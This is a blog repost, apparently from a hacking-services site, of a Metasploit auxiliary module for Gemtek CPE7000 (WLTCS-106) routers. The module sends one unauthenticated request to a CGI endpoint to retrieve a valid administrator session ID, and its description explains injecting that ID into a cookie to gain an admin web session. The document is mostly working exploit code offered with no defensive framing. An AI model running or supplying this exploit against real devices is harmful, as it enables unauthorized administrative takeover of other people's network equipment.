Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863572926

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Gemtek CPE7000 - WLTCS-106 Administrator SID Retriever',
      'Description'    => %q{
          A vulnerability exists for Gemtek CPE7000 model ID WLTCS-106 which allows
        unauthenticated remote attackers to retrieve a valid Administrative SID.

        To obtain an administrative web session inject this SID in your client's
        cookie with values as follow: userlevel=2;sid=<SID>

        Tested on Hardware version V02A and Firmware version 01.01.02.082.
      },
      'References'     =>
        [
          [ 'EDB', '39716' ],
          [ 'URL', 'http://www.mentat.is/docs/cpe7000-multiple-vulns.html' ],
          [ 'URL' , 'http://www.gemtek.com.tw/' ]
        ],
      'Author'         =>
        [
          'Federico Scalco <fscalco [ at] mentat.is>'
          #Based on the exploit by Federico Ramondino <framondino [at ] mentat.is>
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => "Apr 07 2016",
      'DefaultOptions' =>
      {
        'RPORT' => 443
      }
    ))

    register_options(
      [
        OptString.new("TARGETURI", [true, 'The base URI to target application', '/']),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ], self.class)
  end

  def run
    @peer = "#{rhost}:#{rport}"

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => '/cgi-bin/sysconf.cgi',
      'vars_get' => {
        'page' => 'ajax.asp',
        'action' => 'login_confirm'
      }
    })

    if !res or res.code != 200
      fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way")
    end

    ssid = res.body.split(',', 2)
    print_good("#{@peer} - Valid root SID retrieved: #{ssid[1]}")
  end
end